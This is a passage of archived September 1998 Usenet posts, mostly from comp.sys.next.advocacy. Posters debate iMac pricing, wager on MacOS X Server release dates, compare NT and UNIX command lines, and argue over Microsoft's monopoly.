Date: 17 Sep 1998 13:52:55 GMT
Organization: AT&T WorldNet
Message-ID: <3600DC13.8CA0DEBD@SPAMFREE.yahoo.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <macghod-1509981451420001@sdn-ar-001casbarp006.dialsprint.net> <35FFA8EC.27ED@SPAMFREE.yahoo.com> <35ffae25.4266171@nntp.service.ohio-state.edu> <mteh-ya02408000R1609981057470001@news.earthlink.net> <eE1M1.482$dZ.471199@newsfeed.slurp.net>
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Dan wrote:
> Oliver M. Sun wrote in message ...
>
> >A fast PhotoShop machine might save
> >you a good part of an hour on a single step, where you would normally be
> >forced to go for a coffee break.
>
> That's the great thing about pre-emptive multitasking... I never have to go
> for a coffee break... I simply do something else (on the computer) until the
> process is finished.
>
> Dan
Same here, Dan. I simply do something else. Co-operatively. As I stated before,
I can do other things like check e-mail, work in other programs, etc., while
Photoshop is applying a filter. However, with the exception of large (40+ mb)
files and things like gaussian blurs, there is seldom a need to think about it.
Photoshop simply works very fast. A long processing task might take four or
five seconds, sometimes ten. How much can I really get done on other programs
while in this is taking place? Let's put realistic expectations and situations
into play, not hypotheticals.
--
"The foot is more noble than the shoe, and skin more beautiful that the garment
with which it is clothed" - Michelangelo
Remove SPAMFREE. from email address to reply!
Date: Thu, 17 Sep 1998 08:47:35 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Message-ID: <joe.ragosta-1709980847360001@wil134.dol.net>
References: <6tnctm$d3q@news1.panix.com> <edewEzE915.5oG@netcom.com> <360027ec.0@news.depaul.edu> <edewEzEFtA.M2G@netcom.com> <36004a01.0@news.depaul.edu>
In article <36004a01.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> Eric Dew <edew@netcom.com> wrote:
> > In article <360027ec.0@news.depaul.edu> Jonathan W Hendry
<jhendry@shrike.depaul.edu> writes:
> > >Eric Dew <edew@netcom.com> wrote:
> > >
> > >> Look, they're selling the iMac as fast as they can produce them. They
> > >> can't produce any more or any faster, so why drop the price? If
anything,
> > >> they'd be better off adding a little bit more of feature and upping the
> > >> price. That way, they can control the inventory a bit better.
> > >
> > >> Basic rule in business is that you drop price only when you can't move
> > >> the product.
> > >
> > >Why? Competition from Intel. The iMac may look like a good buy now,
> > >but it may not in a few months. Especially if some iMac knock-off
> > >PC's start shipping. Once the PC vendors respond, iMac sales will
> > >drop off if Apple doesn't refresh the line.
> > >
> > The iMac is the un-cola of desktop computers. For wintel vendors to
> > go into that arena means for coke to make sprite or pepsi to create
> > pepsi ice (the clear version of pepsi). It ain't going to work, and worse,
> > it will acknowledge Apple and the iMac as THE front-runner of internet
> > ready computers. That only makes the iMac more valuable (why buy a
> > PC knock-off of the iMac when you can have the real thing?). Apple would
> >be so lucky if PC vendors start shipping a similar looking product.
(Remember
> >the Xerox commercials? "It works like a Xerox..." "It is a Xerox.")
>
> "Why buy Windows when you can buy the real thing, a Mac?" That didn't
> work either, and that attitude won't work with the iMac.
>
> The iMac is not the un-cola. The iMac is diet coke with a slice of
> lemon. Other vendors can get lemons too.
That's true. Most of them are using Windows.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6tovoh$hcv$362@hyperion.nitco.com>
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Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: A prediction
Message-ID: <edewEzF1v2.B0G@netcom.com>
Sender: edew@netcom20.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6tnctm$d3q@news1.panix.com> <edewEzE915.5oG@netcom.com> <6tprgr$7ul@news1.panix.com>
Date: Thu, 17 Sep 1998 06:54:38 GMT
In article <6tprgr$7ul@news1.panix.com> sal@panix.com writes:
>On Wed, 16 Sep 1998 20:31:53 GMT, Eric Dew <edew@netcom.com> wrote:
>>In article <6tnctm$d3q@news1.panix.com> sal@panix.com writes:
>>>I expect Apple to drop the current iMac down to under $999 and introduce
>>>a faster iMac (maybe with dvd) at the $1299 price.
>>Look, they're selling the iMac as fast as they can produce them.
>
>So, build more. The market likes this product. Wouldn't it be better if
>Apple sold iMacs to this market, rather than waiting for knock-offs to
>pop up to fulfill the demand?
>
Build more is a nice gesture, but the physical realities don't let that
happen.
>> They
>>can't produce any more or any faster, so why drop the price?
>
>Build more. OEM the damn thing.
>
Ditto
>> If anything,
>>they'd be better off adding a little bit more of feature and upping the
>>price. That way, they can control the inventory a bit better.
>
>So build a better one for $1299 and sell the current one for $999.
I don't understand your logic here. If all the iMacs, currently selling
at $1299, are being bought, why drop the price? If anything, raise the
price and see what the threshold is.
>
>>Basic rule in business is that you drop price only when you can't move
>>the product.
>
>Or if you want to move _more_ of the product. Henry Ford did that. So did
>Edison. And Apple thinks that they had the courage to "Think Different"
>
Their economic theories are old, and no longer valid.
EDEW
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Thu, 17 Sep 1998 09:21:34 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <36011AEE.592D3F05@nstar.net>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35FFC0C8.A182E11F@nstar.net>
<6toh3t$3ec@newsb.netnews.att.com> <36007638.23CDD81F@exu.ericsson.se>
<6tokr7$3is@newsb.netnews.att.com> <360080D2.8389C025@exu.ericsson.se> <6tqmr6$4n4$4@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
[cut]
> Now it looks like it's Put Up Or Shut Up Time again, though.
[sigh] Finally.
> Michael, I'm willing to make two bets:
>
> (a) MacOS X Server ships(*) before end November, 1998.
> (b) MacOS X Server ships before Windows NT 5.0.
>
> I'll put $100 on each.
>
> Take me up on at least one of them, or please keep your FUD to yourself.
I'll take both bets. $100 per.
> mmalc.
>
> (*) i.e. it's available for public purchase as a non-beta product.
In a pretty colored box at CompUSA, which is where NT 5.0 will sell.
> PS: It's interesting to note that if someone else had had the courage of
> their convictions when I offered a similar wager about a year ago, I'd
> actually have been $100 down.
Hey, zip it until you've heard my response, eh? I've been calling for
this ever since I watched poor Eric Iverson lose out on his money.
MJP
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 17 Sep 1998 14:30:15 GMT
Organization: Primenet (602)416-7000
Message-ID: <6tr6dn$cdg$1@nnrp03.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6tqcn5$uit$1@bunyip.cc.uq.edu.au>
Christopher Smith <drsmithy@usa.net> wrote:
: I'd still like to see some [NT vs. UNIX CLI] examples.
Well, one more would be the lazy way Microsoft wrote the "more" command.
In UNIX, more will accept either a filename or data from standard input,
so these both work:
more foo.txt
cat foo.txt | more
I have two computers on my desk at work, a DEC AlphaStation running
Digital UNIX and a Gateway running NT. I have trouble remembering that I
can't use the first form on NT, and that NT only supports:
type foo.txt | more
It still annoys me when I type "more foo.txt" on Windows and it says "Too
many arguments in command line." Of course, since "type" isn't the POSIX
standard and "cat" is, I'd like to see that changed as well. (Funny,
someone told me NT was "a POSIX OS" ... it might have even been
Microsoft.)
John
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 17 Sep 1998 14:49:52 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6tr7ig$aof@shelob.afs.com>
References: <36011AEE.592D3F05@nstar.net>
"Michael J. Peck" <mjpeck@nstar.net> writes
> mmalcolm crawford wrote:
> > Michael, I'm willing to make two bets:
> >
> > (a) MacOS X Server ships(*) before end November, 1998.
> > (*) i.e. it's available for public purchase as a non-beta product.
> > (b) MacOS X Server ships before Windows NT 5.0.
> >
> > I'll put $100 on each.
> >
> I'll take both bets. $100 per.
>
> In a pretty colored box at CompUSA, which is where NT 5.0 will sell.
Until last week, I would have warned you off this condition, Malc. But
imagine my surprise when I entered the University of Virginia bookstore
and found a beautifully packaged copy of WEB OBJECTS (!) on the shelf
right next to all the other Apple software. So I guess the only real
question is whether a specific retail site should be chosen. The problem
is, no one has any control over which stores decide to stock what. It
might be better to predicate the bet on availability of the software on
The Apple Store website for *immediate* order fulfillment.
Either way, I'm always willing to hold the money. 8^) And if you're
accepting side bets, I've got $50 on the rakish Brit.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Thu, 17 Sep 1998 08:57:39 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6trbks$t5r$1@birch.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch>
Jerry M. wrote in message ...
>In article <dE1M1.481$dZ.471199@newsfeed.slurp.net>, "Dan"
><dan@knowspaam.com> wrote:
>
>> A quick remider to you all...
>> It is _not_ illegal to have a monopoly.
>
>No, but it should be.
>
>In fact, just Microsoft should be illegal.
My my my, you are a macsheep! Baaaa.... take away microsoft's constitutional
rights.... Baaaaaaaaaaaa.....
You should read the constitution someday.
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <OS-1709980814310001@dialup5-2-53.doitnow.com>
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From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
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Message-ID: <odaM1.6260$MS.16485502@news.rdc1.sdca.home.com>
Date: Thu, 17 Sep 1998 15:50:44 GMT
NNTP-Posting-Date: Thu, 17 Sep 1998 08:50:44 PDT
Organization: @Home Network
In <6tr7ig$aof@shelob.afs.com> Gregory H. Anderson wrote:
> "Michael J. Peck" <mjpeck@nstar.net> writes
> > mmalcolm crawford wrote:
> > > Michael, I'm willing to make two bets:
> > >
> > > (a) MacOS X Server ships(*) before end November, 1998.
> > > (*) i.e. it's available for public purchase as a non-beta product.
> > > (b) MacOS X Server ships before Windows NT 5.0.
> > >
> > > I'll put $100 on each.
> > >
> > I'll take both bets. $100 per.
> >
> > In a pretty colored box at CompUSA, which is where NT 5.0 will sell.
>
> Until last week, I would have warned you off this condition, Malc. But
> imagine my surprise when I entered the University of Virginia bookstore
> and found a beautifully packaged copy of WEB OBJECTS (!) on the shelf
> right next to all the other Apple software. So I guess the only real
> question is whether a specific retail site should be chosen. The problem
> is, no one has any control over which stores decide to stock what. It
> might be better to predicate the bet on availability of the software on
> The Apple Store website for *immediate* order fulfillment.
>
> Either way, I'm always willing to hold the money. 8^) And if you're
> accepting side bets, I've got $50 on the rakish Brit.
>
I'll put $50 on the tenacious MP...
-r
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
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<6tr6dn$cdg$1@nnrp03.primenet.com>
Mime-Version: 1.0
Date: Thu, 17 Sep 1998 15:57:39 GMT
In <6tr6dn$cdg$1@nnrp03.primenet.com> John Jensen wrote:
> It still annoys me when I type "more foo.txt" on Windows and it says "Too
> many arguments in command line." Of course, since "type" isn't the POSIX
> standard and "cat" is, I'd like to see that changed as well. (Funny,
> someone told me NT was "a POSIX OS" ... it might have even been
> Microsoft.)
I don't think they claim that either for NT4. IIRC both POSIX and C2 died
in 4 because they couldn't be bothered to re-certify. I guess the POSIX
people breathed a sigh of relief, I understand the original testing for 3.5
was somewhat rediculous.
Maury
From: ouhivagt@somethingfunny.net
Newsgroups: comp.sys.next.advocacy
Subject: WOW!!! WHAT A STORY ONLINE!!!
Date: 17 Sep 1998 16:05:30 GMT
Organization: Northwestern Indiana Telephone Co.
Message-ID: <6trc0a$vt3$226@hyperion.nitco.com>
I happen to have dropped by http://www.despotovic.net and I couldn't believe what I saw. A complete case online with over 48 pictures, 3 police reports and more!!!
Regards.
P.S.- The website address is http://www.despotovic.net
From: tapella@pasteur.frANCE (Tapella)
Newsgroups: comp.sys.next.advocacy
Subject: _Possible_ vague date on OS X Server
Date: Thu, 17 Sep 1998 18:12:51 +0200
Organization: Institut Pasteur, Paris
Message-ID: <tapella-1709981812510001@22w2-1.dyn.pasteur.fr>
NNTP-Posting-Date: 17 Sep 1998 16:07:02 GMT
I went to the Apple Expo here in Paris today for a few hours... basically
there was almost zero OS X presence. There was only one computer I could
find with a beta of OS 8.5 even (and it was not in the Apple area).
Anyway, the _one_ guy who had a Compaq running NT and demoing Web Objects
said that MacOS X Server would be released in "4 to 5 weeks" and that he
"has no opinion" on what the price might be. I tried to push him but he
either didn't want to say what he knew about pricing or actually didn't
know.
Was pretty amusing when another Apple guy walked up and asked what the
release date on Rhapsody was going to be and the NT/Web Objects guy was
said "It's not Rhapsody, call it OS X Server" and then mumbled some sort
of curse in French (my swearing vocab isn't so great).
I also asked one other person who seemed to be mostly clueless, and he
said that the release would be in the December-January time frame, but I
don't remotely trust that judgement because he really didn't know
anything. The guy who was actually running Web Objects probably has a
better idea IMO.
So to sum up briefly: I learned nothing new ;) But October seems like a
pretty good guess.
Rob.
PS The only thing I heard about Jobs' speech was that "it was dumb" so I
guess he didn't say anything worthwhile, as expected.
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Thu, 17 Sep 1998 08:59:36 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6trboh$u$1@birch.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net> <360031F5.E14EE17B@ericsson.com> <6tprgt$7ul@news1.panix.com>
Sal Denaro wrote in message <6tprgt$7ul@news1.panix.com>...
>Apple has 5% of the desktop market. Microsoft has over 90%.
Wait, that isn't a good compairison. MS makes software, Apple makes hardware
and software.
Apple has 3% of the market.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Thu, 17 Sep 1998 13:34:37 -0500
Organization: Ericsson North America Inc.
Message-ID: <3601563D.7C573777@ericsson.com>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com> <36014AE5.391275AA@ericsson.com> <6trjlb$18r$4@news.xmission.com>
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Don Yacktman wrote:
> GCC does ObjC++ just fine. You can argue about how _well_ it works--but at
> least it has improved over the years. The support to mix C, C++, and ObjC
> has been a part of the environment since the beginning.
It compiles them, yes, but does Yellow Box support function calls from
C++?
> For the other languages, take a close look at Objective-Everything from
> www.tiptop.com. They offer you bindings for TCL, Perl, Python, and
> WebScript. Who knows, maybe they'll add more over time? It started out with
> just TCL way back when the product was first introduced...and Pedja has said
> that any language which is sufficiently dynamic can be attached to his inter
> language bridge technology. (I bet he would have done Java if Apple hadn't
> got there first...)
I went to Tiptop and frankly, this rocks. The best part:
> Best of all, developer licenses are FREE
> for educational use, for non-commercial
> use, and even for commercial use by and
> for companies with less than US $1
> million in annual revenue!
I admit to being impressed.
> I'm trying to work on a review of the product for Stepwise. The biggest
> problem is writing something that sounds objective (pardon the pun). This is
> a great product and it is difficult to be honest about it without sounding
> like a maniac spouting unbelievable hyperbole.
Heh! I'd like to see that review when you're done with it.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Thu, 17 Sep 1998 11:31:06 -0500
Organization: Ericsson North America Inc.
Message-ID: <3601394A.D37EAB78@ericsson.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <36007638.23CDD81F@exu.ericsson.se> <6tokr7$3is@newsb.netnews.att.com> <360080D2.8389C025@exu.ericsson.se> <6touut$4ea@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> Why is my motivation relevant ? I have given reasons for what I believe in;
> attack the reasons, if you can. If you have any insight into how
> Microsoft might successfully manage 35+ million lines of code, do share it
> here.
From _Lions' Commentary on UNIX, 6th Edition_:
"The amount of effort to write UNIX, while not inconsiderable in itself(
~10 man years up to the release of the Level Six system) is
insignificant when compared to other systems. (For instance, by 1968,
OS/360 was reputed to have consumed more than five man millenia and
TSS/360, another IBM operating system, more than one man millenium)."
Want to take a guess at how many lines of code are in SAP/R3, for
instance? Large software projects are just that: large software
projects. The project engineering needed for such projects, while not
insignificant, has been studied by the deepest pockets in the world, not
the least of which are NASA and the United States Army.
Microsoft learned much during the creation of Windows NT. I do not
believe that Microsoft has forgotten a bit of it. They may have ignored
the lessons of history with regard to elegance, but I do not think, as
an impartial observer, that I can reasonably doubt Microsoft's brute
force.
I am given to a great deal of doubt when it comes to Apple's project
management. I almost have to laugh when I say this.
> As to Apple's slipping dates for MacOS X Server -- it certainly is not
> OK with me, if only for the reason that the Windows NT 5 delay offers an
> opportunity for Apple. This is being squandered each day that MacOS X Server
> itself is delayed.
I wouldn't really take that angle. MacOS X Server represents the Yellow
Box, nothing else, really. MacOS X Server will never compete with
Windows NT, but it certainly might compete with DirectX 6, MFC, and
Visual C++. Unfortunately, Apple has ignored the need for a 3D layer,
squandered the potential in its development libraries, and embarked on a
shadowy language path. Moreover, unless MacOS X Server *does* compete
with NT, there really won't be a compelling reason to even consider the
underlying technology in the first place.
> One reason for initiating the "A prediction" thread is to help make it clear
> that the success of NT 5 is by no means inevitable.
Preaching to the choir, which I'm sure the choir enjoys, by the way. I
would do as well to slam Rhapsody in a Windows-related newsgroup, except
that those people already take for granted that Rhapsody's shipment is
anything but certain. Posting a "prediction" thread would just sound
like whistling in the dark, and there's really no need for that in those
newsgroups. *Here*, however...
> Another important reason to worry about delay is that it places in jeopardy
> the credibility of Apple's development team, which has been within a
> quarter of its target dates for the past couple of years, it seems.
Pardon me for saying so, but there's very little by which to be
impressed in that. MacOS 8 was a rebranded update; Rhapsody DR1 and DR2
were refitted, updated ports of existing commercial software. Exactly
zero major developmental changes in any known software have been shipped
from Apple, which makes the continued delays in *Rhapsody* even more
ridiculous.
The really serious development effort belongs to MacOS X, and t'be
honest, the plans for MacOS X are timid by comparison to NT 5.0's
featureset.
MJP
Yet another FUD-filled posting, allowable by condition of agreement with
mmalcolm crawford.
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 17 Sep 1998 18:27:36 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6trkao$bmg@shelob.afs.com>
References: <6trjlb$18r$4@news.xmission.com>
Don Yacktman writes
> Michael Peck <Michael.Peck@ericsson.com> wrote:
> > And still no C++ or Perl or Python bindings, as far as I know. If
> > someone were to come up with Perl bindings for Yellow Box, I'd become
> > strangely interested in a hurry. Ditto for Python. I don't have the
> > time or the interest to do it myself.
>
> For the other languages, take a close look at Objective-Everything from
> www.tiptop.com. They offer you bindings for TCL, Perl, Python, and
> WebScript.
Well, how about it, Mike? You said this would interest you in a hurry.
Are you going to give YB a try now?
Funny, I have Pedja's CDROM right here on my shelf -- he gave me a copy
at MacWorld/NYC -- but since I don't use those languages, I didn't even
think of it when I wrote my earlier message.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Thu, 17 Sep 1998 11:44:52 -0500
Organization: Ericsson North America Inc.
Message-ID: <36013C84.3B99E7E@ericsson.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <36007638.23CDD81F@exu.ericsson.se> <6tokr7$3is@newsb.netnews.att.com> <360080D2.8389C025@exu.ericsson.se> <6touut$4ea@newsb.netnews.att.com> <3601394A.D37EAB78@ericsson.com>
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Michael Peck wrote:
[cut]
> Pardon me for saying so, but there's very little by which to be
> impressed in that. MacOS 8 was a rebranded update; Rhapsody DR1 and DR2
> were refitted, updated ports of existing commercial software. Exactly
> zero major developmental changes in any known software have been shipped
> from Apple, which makes the continued delays in *Rhapsody* even more
> ridiculous.
Whoops, I shouldn't say this. I'll get the usual complaints about
WebObjects and QuickTime 3.0. I'll amend to "operating system software".
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Thu, 17 Sep 1998 13:48:25 -0500
Organization: Ericsson North America Inc.
Message-ID: <36015979.8A165C47@ericsson.com>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com>
<36014AE5.391275AA@ericsson.com> <6trk9m$jp@ragnarok.en.uunet.de>
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Holger Hoffstaette wrote:
>
> Holy shit Michael, you really seem to have gone off the deep end.
That's rather odd; even if I were stark raving mad I would expect you to
differentiate yourself by way of example. In your response, however...
> > Who is responsible for the Mach revision?
>
> Apple.
Ah, the "short answer". I always have to scratch my head and wonder what
the poster is trying to hide with the "short answer". Quick question:
did OSF do any work on the Mach 3 kernel?
> The whole underlying base OS changed. That has 'slight' repercussions
> into the rest of the system.
Vague, no? Can you tell me what has changed (such that it affects
Rhapsody's implementation)? I'll try hard to understand, so don't spare
me the gory details.
> > Two things here: a Java VM and language bindings. Sun is responsible in
> > large part for the VM. Language bindings? This is a significant
>
> Right, especially on the PowerPC. Hello??
I'm here! I don't know what you mean! Can you speak more clearly?
> > revision? Perhaps it is functionally relevant, but I'm sorry, there is
> > nothing impressive about adding language bindings to an API.
>
> Maybe you should actually *look* at them before you pass judgement.
> I've spent the better part of my computing life writing and wrapping
> APIs, and the Java/ObjC integration is nothing short of amazing.
> It's pretty irrelevant that *you* can't use it or don't see its value.
Fabulous. I'm sure it's quite elegant. Did you know you can write Win32
code with Java? Can you explain why customers will be impressed by Java
bindings in Yellow Box? Or will you simply tell them that Apple did a
wonderful job because it was so hard to do? I'm sure this will inspire
confidence.
> > And still no C++ or Perl or Python bindings, as far as I know. If
>
> C++ bindings are doomed to fail (please think really long and really
> hard about that before replying).
I didn't. I want to know why they're doomed to fail, and I can't figure
it out on my own.
[cut]
> You don't need to. All you *really* need to do is get better informed.
I'm rather well-informed; how will MIS folks fare when it comes time to
evaluate the product?
MJP
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
MIME-Version: 1.0
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Content-Transfer-Encoding: 7bit
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com>
<36014AE5.391275AA@ericsson.com> <6trjlb$18r$4@news.xmission.com>
Message-ID: <1RdM1.6273$MS.16592195@news.rdc1.sdca.home.com>
Date: Thu, 17 Sep 1998 19:57:49 GMT
NNTP-Posting-Date: Thu, 17 Sep 1998 12:57:49 PDT
Organization: @Home Network
In <6trjlb$18r$4@news.xmission.com> Don Yacktman wrote:
> Michael Peck <Michael.Peck@ericsson.com> wrote:
> > And still no C++ or Perl or Python bindings, as far as I know. If
> > someone were to come up with Perl bindings for Yellow Box, I'd become
> > strangely interested in a hurry. Ditto for Python. I don't have the time
> > or the interest to do it myself.
>
[snip data points]
> I'm trying to work on a review of the product for Stepwise. The biggest
> problem is writing something that sounds objective (pardon the pun). This
is
> a great product and it is difficult to be honest about it without sounding
> like a maniac spouting unbelievable hyperbole.
>
>
Just Sho Um examples forget the hyperbole... then maybe the unbelieveable
will be left as an exercise for the reader.
-r
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 17 Sep 1998 20:55:14 GMT
Organization: Idiom Communications
Message-ID: <6trsvi$a5u$1@news.idiom.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com>
<6tqssi$g67$2@news.idiom.com> <6trig4$216$2@cronkite.cs.umd.edu>
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Cc: seanl@cs.umd.edu
Sean Luke may or may not have said:
-> John C. Randolph (jcr.remove@this.phrase.idiom.com) wrote:
->
-> : UNIX is a microcomputer OS.
->
-> A bizarre statement, given that UNIX was created long before the
-> microcomputer existed.
The PDP-10 was a microcomputer, in my book.
-jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 17 Sep 1998 17:24:28 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6trgkd$bcl@shelob.afs.com>
References: <36013C84.3B99E7E@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> writes
> Michael Peck wrote:
>
> [cut]
>
> > Pardon me for saying so, but there's very little by which to be
> > impressed in that. MacOS 8 was a rebranded update; Rhapsody DR1 and
> > DR2 were refitted, updated ports of existing commercial software.
> > Exactly zero major developmental changes in any known software have
> > been shipped from Apple, which makes the continued delays in
> > *Rhapsody* even more ridiculous.
>
> Whoops, I shouldn't say this. I'll get the usual complaints about
> WebObjects and QuickTime 3.0. I'll amend to "operating system software".
I can think of three off the top of my head:
1) Upgrade to a new major version of Mach (2.x to 3.x), which -- I am led
to believe -- switches to a true microkernel architecture. That can't have
been a no-brainer.
2) The underlying Unix revision level changed, too. There was no /sbin
or /usr/sbin in OPENSTEP. Again, not a no-brainer.
3) *Serious* Java support. OPENSTEP never had it. Now the whole API is
provided in both Objective-C and Java.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
Date: Thu, 17 Sep 1998 14:24:34 +0100
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Message-ID: <christian.bau-1709981424340001@christian-mac.isltd.insignia.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <Jm-1709981356220001@macbb2212b.unil.ch>, Jm@spam.no.thanks
(Jerry M.) wrote:
> In article <dE1M1.481$dZ.471199@newsfeed.slurp.net>, "Dan"
> <dan@knowspaam.com> wrote:
>
> > A quick remider to you all...
> > It is _not_ illegal to have a monopoly.
>
> No, but it should be.
>
> In fact, just Microsoft should be illegal.
Dan is in fact right. Having a monopoly by itself is not illegal, and
there is no reason that it should be. You might be producing one extremly
specialised item with a really tiny market that is too small for two
companies. But that doesnt give you any power. (I dont know how it is in
the USA. In Germany, for example, a company can usually choose their
